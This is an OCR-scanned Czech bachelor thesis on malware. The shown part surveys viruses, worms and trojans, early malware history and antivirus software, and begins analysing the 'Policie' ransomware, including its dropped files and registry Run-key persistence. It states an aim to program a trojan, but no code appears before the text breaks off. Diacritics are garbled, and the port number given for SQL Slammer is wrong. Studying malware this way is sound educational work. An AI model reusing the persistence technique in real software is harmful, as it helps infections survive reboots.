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Trojské koné

Souhrn

Tato bakalatské prace se zabyva analyzou Skodlivych softwarti, které se souhrnné oznacuji
jako malware, a dale naprogramovanim jednoduchého trojského koné¢.

V prvni ¢asti je prace zamétfena na zdkladni rozdé€leni jednotlivych Skodlivych programi
a jejich struény popis. Pro kazdy typ pocitacové infiltrace jsou vybrany dvé nejznamé;jsi
redlné hrozby, které jsou detailn€ji popsany. V dalsi Céasti se prace podrobnéji vénuje
trojskym konim, které rozd€luje do zékladnich kategorii a kazdou kategorii detailn¢
popisuje.

Predposledni cast obsahuje podrobnou analyzu dvou trojskych koni, ktefi jsou pro
uzivatele v Cesku nejznaméj$i a mnoho uZivatelii se s nimi jiz setkalo. Z této analyzy
vychazi i plan pro naprogramovani jednoduchého koné. Posledni ¢ast ptredstavuje popis
naprogramovaného trojana a navod jak efektivné zabezpelit pocitace pied nezadoucim

malwarem.

Kli¢ova slova: antivir, bezpeénost, trojsky kun, vir, napadeni PC

Troyan horses

Summary

This bachelor thesis deals with the analysis of malicious softwares, which are collectively
referred as malware and then with programming a simple Trojan horse.

The first part of the thesis focuses on the basic distribution of individual malicious
programs with a brief description. For each type of infiltration are selected two best-known
real threats, which are described in detail. The next section in more detailed to the Trojans,
which are divided into basic categories and each category described in detail.

The penultimate section provides a detailed analysis of the two Trojans that are available to
users in the Czech Republic and many users have already met with them. This analysis is
based on a plan to program a simple horse. The last part is a description of the programmed

Trojan and guidance for effective computer security against unwanted malware.

Keywords: antivirus, security, troyan horses, computer infecting
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1 Uvod

Nazev trojsky kin pro uzitecné tvarici se programy, které ale v pocitaci zptisobuji
nezadouci akce, nevznikl ¢irou ndhodou, ale vychazi ze staroveékych feckych baji a povésti.
Rekové tehdy dobyli mésto Troja tim, e vyrobili dievéného koné, v jeho utrobach skryli
vojaky a tohoto koné¢ darovali obyvatelim Tro6ji. Vojaci Se nepozorované dostali
pies hradby a béhem noci mésto piepadli a tspésné ziskali. Novodobé elektronické verze
trojskych komt se chovaji podobné. Vydavaji se za uziteCné nebo zdbavné programy
a uzivatel si je v dobré vife sam stahuje do pocitace. Po jejich spusténi ale ziska uto¢nik
nad napadenym pocitacem kontrolu a muze ho na dalku ovladat. V soucasné dob¢
je nejrozsifengjsi trojsky kun s nazvem TrojanDownloader.Waski. Jeho tkolem
je stahovat do pocitace z internetu dalsi Skodlivé programy.

Kazdy uzivatel, ktery ma ve svém chytrém telefonu, notebooku a dalSich zatizenich ptistup
k internetu, se mize stat obéti hackerti a nevédomky si do svého zatizeni stdhnout skodlivy
software. V dneSni dobé€ se totiz vétSina Skodlivého software §ifi prostiednictvim internetu.
Obecné plati, Ze tvirci vird a dalSitho Skodlivého softwaru jsou vzdy o krok napted
pred programy, které chrani pocitace.

Ani sebelepsi antivirovy program vSak nedokdze 100% ochrénit vSechny pocitace
a telefony a je proto dulezité davat pozor pii “brouzdani” internetem, stahovani rtiznych
souboril z nezndmych a neovétenych zdroji a také pii praci s piijatymi emaily. Nékteré

trojské kon¢ jsou ukryty v ptilohach emaild.



2 Cil prace a metodika

2.1 Cil prace

Hlavnim cilem této bakalarské prace je naprogramovat jednoduchého trojského kon¢.

V teoretickych vychodiscich definovat pojmy trojsky kin, Skodlivy malware a dalsi pojmy
spojené s touto problematikou a uvést definice a charakteristické znaky jednotlivych
pocitaCovych infiltraci popsané v odborné literatufe. Dil¢im cilem teoretické c¢asti je
uvedeni dalSich pojmi bezprostfedné spojenych s trojskymi konmi.

Vlastni prace obsahuje pfedev§im analyzu a popis naprogramovani vlastniho trojského
kon¢ a vyty€eni zajimavosti kodu. Dil¢im cilem je popsat a analyzovat nejznamé;jsi readlné
trojské koné, kterymi je mozné nezabezpeCeny pocita¢ infikovat. V zavéru analytické
prace uvést optimalni feSeni pro zabezpeCeni pocitacii a uvést postup odstranéni

naprogramovaného jednoduchého trojského koné.

2.2 Metodika

Bakalatské prace je rozdé€lana do dvou ¢€asti. Prvni ¢éast predstavuje teoretické poznatky
z odborné literatury. Ta byla zpracovana pomoci nastudovani potiebnych knih,
internetovych zdroja a na zakladé¢ ziskanych poznatkti béhem bakalarské praxe.

Zpocatku jsou popsany nejznaméjs$i pocitatové hrozby a jejich rozdéleni. Nésleduje
stru¢nad historie a popis antivirového programu.

V praktické ¢asti jsou charakterizovany a popsany dva trojské konég, se kterymi se miize
Cesky uzivatel kdykoliv setkat a jsou popsany nejznaméjsi antivirové programy. Na
zaklad¢ vlastnich zkusenosti s odstraiiovanim trojant je popsan navod jak se jich zbavit.
Analyza téchto dvou trojanii a dostupného zdrojového kodu dalsiho z nich vedla i k
naprogramovani jednoduchého trojského kong. Ten je napsan v programovacim jazyce C#
pomoci programu Microsoft Visual Studio 2010.

Veskeré analyzy a testovani bylo provedeno na notebooku Fujitsu AH531 s procesorem

Intel 15 a operac¢nim systémem Windows7 64bit.
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3 Vysvétleni zakladnich pojmi

Casto se pojmy trojsky ki, Gervi, makroviry a spam oznaduji souhrnné pod pojmem, ktery
se mezi lidmi pouziva nejvice — pod pojmem virus. Ve skute¢nosti ale mezi t€mito Skadci
existuji alespont minimalni rozdily, které je od sebe odlisuji. Souhrnné oznaceni pro trojské
kong, viry, ¢ervy, spyware a adware se nazyva malware. Toto slovo vzniklo slozenim slov
MALicious a softWARE, v pickladu do ceStiny ,,zakefny software”. Pocitatové viry
se dokéazi §ifit a replikovat bez védomi uZivatele. Cervi se §if{ pievazné elektronickou
postou nebo pomoci sitovych paketi. Trojské koné se nedokazi sami od sebe replikovat
a kjejich zaneseni do pocitace je potfeba uzivatele oklamat a uvést ho v domnéni,
ze si stahl neskodny program. Spyware je oznaceni pro programy, které bez védomi
uzivatele odesilaji z jeho pocitate rGzna data (historii prohlizeni internetovych stranek,
uzivatelska hesla, seznam nainstalovanych programu, atd.). Adware zanese do pocitace
nezadouci reklamni bannery, nebo pop-up okna’, které uZivatele zahlcuji nezadoucim
reklamnim sd€lenim. Mohou napiiklad i zménit domovskou stranku internetového

prohlizece.

3.1 Infiltrace pocitace

Jednd se o skryté programy, které do pocitace zanesou Skodlivy koéd. Spolecné vlastnost
pro vSechny infiltrace je, Ze se do pocitae dostavaji bez védomi uzivatele a zpisobuji
nezadouci akce od neskodnych (spusténi vtipného obrazku, pirehrani melodie)

az po Skodlivé akce (smazani nékterych soubort, zjisténi ptistupovych hesel,..).

3.2 Viry

Virus je Skodlivy koéd, ktery se do napadeného pocitace dostava bez védomi uzivatele
daného pocitae. Dokéze se replikovat — bez védomi uzivatele se mliize mnozit. K §ifeni
sam sebe vSak vyuziva jiné soubory — tzv. hostitele. Mezi hostitele se mohou zafadit EXE
soubory, systémové oblasti disku apod. Pocitacovy virus je program, pro ktery plati
néktera dal$i upfesiujici specifika:?

e nezbytna nutnost hostitele

! Vyskakovaci okna

2JALUVKA, J., Moderni po&itadové viry, s. 4

11



e mala velikost virového programu

e Symbidza s hostitelem

Skody zptisobené viry lze rozdélit na $kody piimé a nepiimé. P¥imé $kody jsou ziejméjsi
a patii mezi n¢ naklady na odstranéni viru, naklady na znovuvytvotreni poSkozenych dat
a naklady vzniklé v dtsledku vypadku vyroby, aj. ¥ Mezi nepfimé néklady se fadi néklady,
které musi uzivatel vynalozit na nakup a provozovani antivirovych softwart, nebo naklady

za opatieni proti Sifeni vird.

3.2.1 Bootviry

Jedna se o nejstarsi skupinu virQ, které infikuji systémové oblasti disku. Témito oblastmi
mohou byt boot sektory disket, tabulka rozdé€leni pevného disku nebo boot sektor pevného
disku. Boot sektor obsahuje kratky program, ktery pouziva DOS ke spusténi systému,
a to dfive nez je kontrola pfeddna jinym systémovym programlim a piekladaci poveli. Tim
ze prepiSe virus nékterou z bootovacich oblasti si zajisti, ze ihned po startu pocitace bude

spustén a pocita¢ napaden.

Obrazek 1 — Nezavirovany disk

Cislo sektoru
a 1 2 - e -

R

I— Boot sektor nebo Master Boot Record {MBR]

Zdroj: Boot viry. In: Igiviry [online]. 2009 [cit. 2014-02-04]. Dostupné z: http://igiviry.tripod.com/v_boot.html
Obrazek 2 — Disk po napadeni boot virem

a 1 2

e

I—Iaéitekviru | | --- |
L Druha éast viru
Pivodni boot sektor nebo
Master Boot Record (MBR)

Zdroj: Boot viry. In: Igiviry [online]. 2009 [cit. 2014-02-04]. Dostupné z: http://igiviry.tripod.com/v_boot.html

$HAK, 1., ZELENKA, J., Ochrana dat, Skodlivy software, s. 32
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3.2.2 Souborové viry

Velice rozsifenou skupinou virti jsou souborové viry. Jejim hlavnim hostitelem jsou
spustitelné EXE nebo COM soubory. EXE soubory se skladaji z téchto ¢asti: hlavicka,
relokacni tabulka a kéd programu. V hlavicce je polozka, kterd je nactena do registrii CS
a IP a touto polozkou je udano misto, kde program zacina. Virus modifikuje adresu
na které program zacinal na pocatek svého kodu, nebo zméni obsah zacatku programového

kédu.

3.2.3 Multipartilni viry

Do této kategorie virti patii viry, které se chovaji stejn¢ jako viry bootovaci a souborové.
Diky tomu, Ze maji vlastnosti z obou piedchozich kategorii, jsou oznacovany jako
hybridni. NejznaméjSim virem této kategorie je vir s ndzvem OneHalf, neboli KoSicky
mor. Tento vir pochazi ze Slovenska a byl vypuStén v roce 1994. Pokazdé, kdyZ byl
spustén, tak zaSifroval ¢ast pevného disku. ZaSifrovana cast ale byla v potadku pfistupna
po dobu, kdy byl virus aktivni. V ptipadé ze byl vir odstranén se tato zasifrovana data
obvykle ztratila nebo zlstala neéitelna. Poté, co virus zaSifroval polovinu dat na pevném

disku, zobrazil hlaSku “This is one half. Press any key to continue..”

3.2.4 Stealth viry

Stealth viry se snazi na disku zamaskovat svoji existenci. Tyto viry monitoruji vsechny
aktivity pocitace a pokud dojde ke Cteni nakazenych objektil, vraci opera¢nimu systému
hodnoty, které odpovidaji pivodnimu stavu. Sledovani aktivit pocitace je zajiSténo tim,
7e presmérovava sluzby na virus. Nejznaméjsi stealth virus se nazyva Brain, ten napadal
operaéni systétmy MS DOS. S nastupem Win32 vSak tyto viry vymizely a nyni jiZ neni

mozné najit virus tohoto typu.”

3.2.5 Dalsi klasifikace pocitacovych viru
Podle rychlosti Sifeni lze rozdélit viry na rychlé, které jsou aktivni v paméti a napadaji
veskeré spusténé programy v urcité dobé. V piipade spusténi antivirového programu, ktery

by prohledédval veSkery obsah disku, mize dojit k napadeni vSech spustitelnych souborti na

* BAUDIS, P., ZELENKA, J., Antivirova ochrana, s. 33
®HAK, I., ZELENKA, J., Ochrana dat, Skodlivy software, s. 92

13



disku. Mezi nejznaméjsi rychlé viry patii Dark, Frodo, Avenger. Oproti rychlym virim
existuji viry pomalé, které¢ vyckéavaji v paméti RAM na chvili, kdy uzivatel bude né&jaky
spustitelny program pouzivat. Pfi vytvareni, kopirovani nebo editaci souboru se pozvolna
neviditeln¢ mnozi. Kvili tomu se prodluzuje okamzik od objeveni viru az po jeho detekci.
Dalsimi viry jsou viry vzacné napadajici. Tyto viry napadaji spustitelné programy pouze
v ptipadé, Ze jsou splnény pfedem dané podminky (napf. soubory s ¢islem v nazvu, kazdy
paty spustény soubor atd.) Timto je sniZzena pravdépodobnost odhaleni viru, ale také se vir
diky této podmince $§ifi velice pomalu.

Dale lze rozdélit viry podle umisténi v paméti na rezidentni a nerezidentni. Nerezidentni
viry se $ifi do zatim nenakazenych soubord ve chvili, kdy se spusti hostitel. Nemusi byt
umistény natrvalo v paméti. Rezidentni viry oproti tomu ziistavaji v paméti. Pti spusténi
infikovaného souboru se umisti do paméti pocitaée a odsud provadéji skodlivou ¢innost.
Po vypnuti pocitace je vir z paméti odstranén a obnoven teprve az pii dal§im spusténi

infikovaného souboru.

3.2.6 Vir Jerusalem

Tento vir napadal programy COM a EXE a operacni pamét. Jednalo se o jeden
z nejrozsitengjSich vird, ktery napadal pocitace IBM. Byl poprvé zaznamenan v roce 1987.
Poté co je spustén napadeny program Se Vir umisti do operacni paméti a napada vSechny
ostatni provadéné programy. Pokud je patek tfinactého, tak vSechny provadéné programy
rovnou smaze. DokaZe po umisténi do paméti az 10x sniZit rychlost systému. Jeho dalsi

nazvy jsou napiiklad PLO, ArabStar, BlackBox,... ®

3.2.7 Virus Anna Kurnikovova

Pocitacovy virus je pojmenovany po znamé ruské tenistce, jelikoz v pfiloze emailu mél
udajné obsahovat fotografii pravé této tenistky. Reédln€ ale ptiloha emailu obsahovala
soubor s ndzvem AnnaKournikovova.jpg.vbs. Tento skript napadl adresafe aplikace
Microsoft Outlook a sdm sebe se pokusil odeslat na vSechny emailové kontakty. Vir
vytvoftil v roce 2001 holandsky programator Jan de Wit. Po jeho vytvofeni se virus §ifil

emaily velice rychle.

® CADA, 0., Ochrana proti po¢itatovym virm, s. 122
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3.3 Cervi

Cerv se narozdil od virusu dokaze ifit bez zavislosti na prenosu jeho hostitele. Sifi se
zcela ndhodné od jiz napadenych pocitaci k dal$im systémum pfipojenych k internetu.
Cervi vyuzivaji konkrétni bezpe¢nostni mezery operaénich systémi, ale neinfikuji
spustitelné soubory. Cervy, ktefi se §ifi elektronickou postou, lze rozdélit do dvou
zékladnich skupin podle zavislosti na poStovnim klientu. Nezavisly ¢erv vyuziva protokol
SMTP, coz mu zajistuje replikacni jistotu na kazdém systému umoziujicim zasilani
emailovych zprav. Nejrozsitengj$imi Cervi, ktefi jsou zavisli na postovnim klientu, jsou
Cervi svazani s klientem Microsoft Outlook. V pfipadé, ze nema Cerv k dispozici svij

v 7 1.1: o v , . .7
postovni klient, nemtiZze provést svou replikaci.

3.3.1 Pét zakladnich slozek pocitacového Cerva

a) Prozkoumavani. Tato slozka je zodpovédna za hledani a zjisStovani pocitace V siti,
ktery by mohl byt cervem zasazen.

b) Utok. V piipadg, Ze byl objeven vhodny poéita¢ k napadeni, piichazi na fadu atok.
Ten mlze byt zamitfen na ztratu konfigurace, naformatovani jednotky nebo tradi¢ni
utok na vyrovnavaci pamét’.

c) Komunikace. Tato slozka umoznuje cervim posilat zpravy mezi uzly
nebo n&jakym jinym cetralnim mistem.

d) Ptikazy. Rozhrani na uzlu ¢erva umoziuje ptijimat a vykonavat ptikazy, které jsou
mu zaslany.

e) Rozum. Aby mohl Cerv v siti efektivné komunikovat, potiebuje znat umisténi uzla

a take jejich charakteristiky. 8

3.3.2 Cerv SQLSlammer

Velice zndmym se stal ¢erv s nazvem SQLSlammer, ktery je znam od 25. ledna 2003.
Aplikace Microsoft SQL Server obsahovala bezpe¢nostni mezeru a kdyz se UDP pakety
na portu 1433 o délce 376 bajti dostaly k této aplikaci, doSlo kvilli podteceni zasobniku

k infekci. Tento Cerv se usadil rezidentné¢ v paméti a na ndhodné vybrané¢ IP adresy

" JALUVKA, I., Moderni pogitatové viry, s. 48
® NAZARIO, J., Internet worms, s. 13
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rozesilal velké mnozstvi dalSich UDP paket. Jedind jeho nepfijemna vlastnost byla,
ze kvili rozesilani velkého mnozstvi UDP paketi dokazal 100% zahltit celou LAN.
Neprovadél vSak Zadnou jinou destruktivni ¢innost, coz bylo pro jeho masové rozsifeni
veliké 3t&sti.”

Obrazek 3 - Extrémni vytiZzeni LAN sité UDP pakety

186.8 M

5.8 M

5.8 M 4i

Bits per Second

5.8 M 1

12 16 14 12 18 2 & 4 2 @ 22 28 12 16 14 12

Zdroj: Poctitadové viry a jejich Sifeni. In: www.sly-tri-opice.estranky.cz [online]. © 2007 [cit. 2014-01-15]. Dostupné z:
http://www.sly-tri-opice.estranky.cz/clanky/vypocetni-technika/pocitacove-viry-a-jejich-sireni.html

3.3.3 CervILove You

vvvvvv

nez 5 miliard americkych dolart. Byl vytvofen 2. kvétna 2000 v programovacim jazyce
VBScript a povazuje se za nejnicivéjsiho Cerva na svéte. Jeho cilovou skupinou jsou
pocitace s operacnim systémem Microsoft Windows. Jeho Cinnost spociva v tom, ze se
po spusténi rozesild na vSechny emailové adresy, které ma uZivatel uloZzeny v adresafi
aplikace Microsoft Outlook. Poté piepisuje registry, maze systémové soubory a provadi
dalsi destruktivni Cinnost. Jeho nazev je odvozen od pfedmétu rozesilané zpravy — ten

obsahuje text | love you.

®HAK, 1., ZELENKA, J., Ochrana dat Skodlivy software, s. 17
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3.4 Trojské koné

Diive se trojsky ktin (neboli trojan) oznacoval jako atraktivni nebo uziteCny program (hra,
&innost. Nyni mohou byt trojské koné §ifeny i ve spojeni s po&itatovymi viry nebo &ervy.™
Trojsky ki neni schopen oproti virim a cerviim sebe-replikace (neni schopen se sam
od sebe dale §ifit) a nedokaze infikovat ostatni soubory. Nejcastéji se trojani vyskytuji jako
soubory ve formatu EXE a oproti virim a ¢erviim se trojskych koni objevuje podle statistik
velice malo. V minulosti se mnohokrat objevil trojsky kian, ktery se schovaval
za antivirovy program McAfee VirusScan. Ve skute¢nosti vSak mazal soubory na pevném
disku. Trojské koné se daji rozdélit do n€kolika skupin, kde nejrozsifenéjsi skupiny jsou

password stealing trojani a zadni vratka.

3.4.1 Password-stealing trojan - KeyLogger

Poslanim téchto trojskych koni je zaznamenavat jednotlivé stisky klaves na kldvesnici
pocitace a nasledné je ukladat do souboru nebo zasilat na predem dané emailové adresy.
Vzhledem k tomu se mizou autofi téchto trojskych koni dostat k velice citlivym datim

v RS v ’ , o 11
vcetné piihlaSovacich udaju.

3.4.2 Destruktivni trojské koné

Jak uz nazev napovida — pokud je trojsky kan naprogramovan tak aby byl destruktivni,
smaze vSechny soubory podle néjakého klice nebo rovnou naformatuje vSechny pevné

disky v pocitaci. Sem lze zatadit i $kodlivé davkové soubory — soubory s priponou BAT. *?

3.4.3 Dropper
Tento trojsky kil neni Skodlivy sdm o sobé, ale jeho Skodlivost spociva v tom, Ze na svém
téle piinasi jiny virus. Ten je uvniti dropperu zakdédovan tak, ze je ho vétSinou obtizné

doptedu najit a az poté, co je dropper aktivovany, se virus do pocitace umisti.

YHAK, 1., ZELENKA, J., Ochrana dat, Skodlivy software, s. 18
"M HAK, 1., ZELENKA, J., Ochrana dat, Skodlivy software, s. 19
2HAK, 1., ZELENKA, J., Ochrana dat, Skodlivy software, s. 19

17



3.4.4 Backdoor

V piekladu znamend zadni vratka. I kdyz se tato metoda pouziva také k serioznim ucelim,
kdy je potieba pifes Remote Administrator provést naptiklad néktera opravna nastaveni
a konfigurace na vzdalenych pocitacich, uzivatel neni schopen vypozorovat pfitomnost
ciziho uzivatele a tak je tato metoda klasifikovana jako bezpeCnostni riziko. Backdoor
poskytuji skrytou metodu vstupu do systému tim, ze obchazi standardni ovéfovaci
mechanismy (napiiklad mohou obejit firewall). Backdoors funguji nasledujicim principem:
pocita¢ na stran¢ utoc¢nika odesila pozadavky do pocitace na stran¢ uzivatele. Klientska
¢ast (na stran¢ uzivatele) tyto pozadavky plni a zasila Gtocnikovi zpétnou vazbu, aniz by
se o tom napadeny uzivatel dozvédél. Komunikace probih4a vétSinou na bazi TCP/IP
protokolu, coz znamend, Ze obét i utocnik od sebe mohou byt vzdaleni pfes nékolik

kontinentu.

3.4.5 DalSi typy trojant

Mezi dal$i typy trojant se fadi DDoS trojani, ktefi provadéji atoky proti konkrétnim
serverim tim, Ze na né¢ odesilaji z napadenych pocitacl velké mnozstvi pozadavkl a tim
server vyfadi na urCitou dobu z provozu. Trojské koné FakeAV se tvati jako antivirové
programy, které naSly v pocitaci vir. UZivateli poté zobrazi zpravu, aby za odstranéni viru
zaplatil. Tyto zpravy jsou vSak smySlené a tento trojan ve skutecnosti Zadnou hrozbu
Vv pocitaci nenasel. SMS trojani jsou navrzeni pro chytré mobilni telefony, ze kterych
odesilaji zpravy na prémiové ¢isla zacinajici vétSinou pfevolbou 906 a tim pfevadéji penize

Z uzivatelova kreditu na ucet hackera.

3.4.6 Trosjky kin AIDS
K nejzndméjsSim trojskym konim patii pravdépodobné AIDS TROJAN DISK, kterého

rozeslali na disketach autofi do vice nez 7000 vyzkumnych tstavt po celém svéts.® Tento
trojsky kiin pocital, kolikrat byl pocitac spustén a ve chvili, kdy byl spustén po devadesate,
zptehdzel nazvy vSech souborti a zcela zaplnil volné misto na disku. Zobrazila se také
hlaska s vyzvou, Ze za 189 americkych dolarti spole¢nost PC Cyborg Corporation data
nazpatek obnovi. Toto vSak nebylo nutné, jelikoZ existoval program CLEARAID, ktery

obratil Sifrovani zpét a nazvy soubort tak opravil.

13 SZOR, P., Pocitacové viry — analyza utoku a obrana, s. 47
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3.4.7 Trojsky kiin Flashback

Tento trojsky ki vyuzil chyby v implementaci jazyka Java na pocitac¢ich s operacnim
systémem Mac. Aby byl pocita¢ infikovan, nemusel uzivatel instalovat zadny program,
ale staCilo pouze aby navstivil infikovanou internetovou stranku a mél povoleno
automatické spousténi Java aplikaci. Poté, co se trojan do pocitace stahnul, si nejdiive
zkontroloval, jestli se v po¢ita¢i nachazi néktery z definovanych antivirovych programu.
V piipadé, Ze byl pocita¢ chranén antivirovym programem, trojan nevytvofil Zadnou akci
a postupné se z pocitace vymazal. Pokud ale pocita¢ antivirovy program neobsahoval,
trojan zacal zobrazovat reklamu a hackefi za kazdou zobrazenou reklamu dostali finan¢ni
odménu. Dle riiznych zdroji na internetu si dokazali po masovém rozSifeni tohoto
trojského koné jeho tvirei piijit aZ na 190 000,- K& za jediny den. ** Zobrazena reklama
ale nebylo jediné, co tento trojan dokézal. Ptsobil i jako zadni vratka (backdoor) a tvlircim
umoznil ovladat a ziskavat jakékoliv informace z pocitacl, které jim byly napadeny.
Flashbackem bylo napadeno zhruba 600 000 pocitacti a poprvé byl zjistén na pielomu
bfezna a dubna 2012.

3.5 Antivirovy program

Antivirovy program se pouzivd k odhaleni, odstranéni a eliminaci pocitacovych vird
a jinych Skodlivych kodu. Je to software, ktery monitoruje vSechny vstupni mista,
ze kterych hrozi proniknuti poc¢itaCovych viri do systému (flash disk, CD/DVD, internet,..)
a tyto data porovnava s virovou databazi. JelikoZ vznikaji viry nepfetrzZité, tak je tato
virova databaze aktualizovana 24 hodin denné. V piipad¢, Ze by antivirovy program nasel

podobnost nékterych vstupnich dat s antivirovou databdzi, zabrani dalsi praci s témito daty

YFlashback malware earns makers $10,000 a day. THE INQUIRER [online]. May 02 2012 [cit. 2014-01-17].
Dostupné  z:  http://www.theinquirer.net/inquirer/news/2172037/flashback-malware-steals-thousands-day
Zéakeiny trojsky kan Flashback vydélava hackerim 200 tisic korun denn&. Novinky.cz [online]. 4. kvétna
2012 [cit. 2014-01-17]. Dostupné z: http://www.novinky.cz/internet-a-pc/bezpecnost/266760-zakerny-
trojsky-kun-flashback-vydelava-hackerum-200-tisic-korun-denne.html

Flashback malware generated $10k per day in fraudulent ad clicks. TECHSPOT [online]. May 2, 2012 [cit.
2014-01-17]. Dostupné z: http://www.techspot.com/news/48423-flashback-malware-generated-10k-per-day-

in-fraudulent-ad-clicks.html
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a nabidne uzivateli zda chce nakazena data rovnou smazat, ulozit do karantény, nebo jestli
si uvédomuje riziko a chce i1 pies potenciondlni hrozbu s daty normdlné pracovat.
Antivirové programy se déli na On-demand skenery, jednoucelové antiviry a komplexni
antivirové systémy. On-demand skenery se pouzivaji v piipadé, Ze nainstalovany operacni
systém neni mozno spustit obvyklym zplisobem a spousti se pfes operacni systém DOS.
Jednoucelové antiviry jsou antiviry, které vznikly za i¢elem nalezeni a odstranéni jednoho
konkrétniho viru, ktery je v dané dobé vétSinou rozsifen v hojném poctu. Komplexni
antivirové systémy se skladaji z nékolika specializovanych nastroji. VéEtSinou obsahuji
firewall, antispyware a dal$i nastroje. (V mobilech mohou dale obsahovat naptiklad nastroj
pro blokovéni pfichozich hovorti z konkrétnich ¢isel, antitheft nastroje, které pfi ztraté
nebo odcizeni piistroje dokazi vymazat dllezitd data, pfistroj zablokovat a zaslat
na duvéryhodné kontakty informace o nové vlozenych SIM kartach, pozici telefonu,

¢i zaslat fotky z fotoaparatu).

3.6 Historie pocitacové infiltrace

Uplné prvni trojsky kit se nazyva Egabtr a byl vytvofen pouhé 4 roky po nastupu &tvrté
generace dneSni pocitaCové éry vroce 1985. Skryval se za uziteCnym grafickym
programem, ktery mél zlepsit kvalitu EGA displejii a mél za ukol bez varovani vymazat
veskery obsah pevného disku. Byl rozsifovan prostiednictvim poStovnich schranek.
Po jeho spusténi a odstranéni vSech soubort se uzivateli zobrazila zprava “Arfl Arf! Got
you!”

Historie v8ak saha mnohem dale. V roce 1949 zvefejnil mad’arsky matematik John von
Neumann dokument, ktery naznacoval, Ze pocitacovy program by se mohl sdm
reprodukovat. Prvniho ¢erva napsal vyvojat Bob Thomas v roce 1971. Nesl nazev Creeper
a tento Cerv se dokazal pfenaset z pocitaCe na pocitac. Apple virus s nazvem Elk Cloner
vznikl v roce 1982 a jeho tkolem bylo infikovat vlozené diskety do disketové mechaniky.
Pti kazdém 50. spusténi pocitace se zobrazila zprava.

Za prvni virus napadajici osobni pocitace se povazuje vir zvany Brain. Byl sepsany
pocatkem roku 1986 a uz v tehdejsi dobé §lo o velmi kvalitni virus. Sifil se pomoci diskety,
kterd se nachazela pii startu pocitate v mechanice. Prvni antivirové programy se zacaly
objevovat v roce 1988. Mezi prvni vyrobce antivird patiily spole¢nosti McAfee VirusScan

a Dr. Solomon AVTK. Virus Tequila, ktery vznikl v roce 1991, napadal systémové oblasti
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disku, ale i bézné soubory. Koncem roku 1991 se objevily prvni generatory virt.. Uzivatel,
ktery se v programovani vibec nevyznal, mohl nastavenim jednoduchych parametri
nabizenych generatorem viru sestavit u¢inny a funk¢ni virus.

V roce 1995 obsahovaly diskety s testovaci verzi operaéniho systému Windows95, které
byly zaslany beta testerim tohoto operacniho systému, virus Form. Do té doby
se predpokladalo, Ze nastup opera¢niho systému Windows95 bude znamenat zanik
pocitacovych virt. V tomtéz roce se objevil vir Concept napadajici Microsoft Word. Virus
se rychle rozsifil a béhem jediného mésice se ocitl na prvnim misté v poctu napadeni
pocitact. Virus Laroux byl zaméfeny na Microsoft Excel a vyuzival stejné myslenky, jako

vir Concept — byl zalozeny na makrech.®

1> Historie pogitatovych viri. Fakulta informatiky Masarykovy univerzity [onling]. 2001 [cit. 2013-12-05].
Dostupné z: http://www.fi.muni.cz/usr/jkucera/pv109/2001/xmichall.html
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4 Vlastni Prace

Pro uzivatele, ktery jesté trojského koné neprogramoval, je pfed samotnym
naprogramovanim funkéniho trojana nutné provést analyzu jiz vytvotenych trojskych koni
a zjistit tak moznosti infiltrace a obecné principy. Hlavnim piedpokladem je dobra znalost
néjakého programovaciho jazyka (napt. Delphi, C#, nebo C++). Pfed samotnym zahajenim
programovani je vhodné vytvofit dokument, kde je uveden logicky navrh trojského koné,
kde jsou zaneseny uidaje o tom, co ma byt naprogramovano, jaké funkce mé trojsky kin

mit a jakymi metodami programovani se k tomuto vysledku lze dostat.

4.1 Analyza trojského koné Policie

Tento trojsky kin se velice rychle Sifi internetem a za dobu své existence se nékolikrat
zménil. Prvni verze trojana byla ze skupiny Win32/Ransom a byla rozsifena béhem roku
2009, ale ceského prekladu se dockala az pozdé&ji v roce 2012. Tento pieklad byl strojove
vytvofeny a na Ceského uZzivatele tak neplsobil dostate¢né diveéryhodné. Trojsky kun
zablokoval pfistup do operacniho systému Windows a zobrazil uzivateli stranku, kde
ho informoval o poruseni Ceskych zakond. Zobrazil i IP adresu uzivatele, fotku z jeho
webkamery a mésto, ve kterém se nachazel. Zaroven byla zobrazena i vyzva, aby uZzivatel
zaplatil 2000,- K¢ pokutu. Po zaplaceni obdrzi uzivatel kod, ktery by mél pocitac zpét
odblokovat. Nov¢jsi vydani Ceské verze trojana bylo jiz 1épe pielozeno a lépe graficky
zpracovano. Zaroven se zvysila fiktivni pokuta za neopravnénou Ccinnost uZzivatele
na 3000,- K¢.

Soucasna verze trojského koné Policie jiz patii do skupiny Win32/Filecoder, ktera
po napadeni pocitace zaSifruje vybrané soubory na pevném disku pocitace. V ptipadé, Ze je
trojan spustén, zkopiruje se pod nazvem sowldrv.exe do adresaie %appdata% a v tom
samém adresafi vytvoii tfi soubory — ok.bat, WARNING.txt a ok.txt.arest. Spusténi
pii kazdém startu si zajisti tim, Ze nastavi hodnotu "ChpPrintUpdate" = "%appdata%\-
sowldrv.exe" v registrech ve vétvi [HKEY CURRENT USER\SOFTWARE\Microsoft\-
Windows\CurrentVersion\Run]. 1 pfes to, Ze jiz byli tvlrci trojana zadrZeni policii

ve Spanélsku, trojan je i nadale velice aktivni a stale infikuje neaktualizované pocitace.
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Obrazek 4 - Trosjky ki policie
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Zdroj: Desitky lidi oznamuji poéitatovy virus - Policie Ceské republiky. In: Uvodni strana - Policie Ceské republiky
[online]. 2013 [cit. 2014-02-20]. Dostupné z: http://www.policie.cz/clanek/desitky-lidi-oznamuji-pocitacovy-virus.aspx

4.1.1 Moznosti infiltrace

Trojsky ki vydavajici se za varovani od policie CR napada pocitate s operaénim
systtmem Windows. Nezneuzivd vSak bezpecnostnich chyb samotného operaéniho
systému, ale vyuZziva chyb v aplikacich Java, Adobe Reader a Adobe Flash player. Uzivatel
pfi ndvstéveé napadenych stranek nemusi nikam klikat, nebo védomé stahovat soubory,
ale trojsky kin se do pocitace stdhne a nainstaluje automaticky. Neplati vSak, Ze uZivatel
musi navstivit erotické stranky, aby si trojana nevédomky stdhnul, ale toho si muze
stdhnout 1 ze seriéznich internetovych stranek, jejichz bezpecnost nebyla dostate¢na

a hackefi na jejich web trojského kon¢ umistili.

4.1.2 RozSireni
Trojsky kil Policie umoziuje ziskavat informace o pfiblizné poloze pocitace, z tohoto

divodu miize fidici server zaslat do napadeného pocitace vystrahu v jazykové mutaci
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koncového uzivatele. Popisovany trojsky kiin napadd pocitace téméf po celém svété.
Na internetu jsou bézné k dohleddni printscreeny anglické, némecké, francouzské

nebo i americké verze, kde jsou zobrazeny loga FBI.

4.1.3 Pusobeni

I kdyZz je po spusténi pocitae viditelna uzivateli pouze obrazovka s informacemi
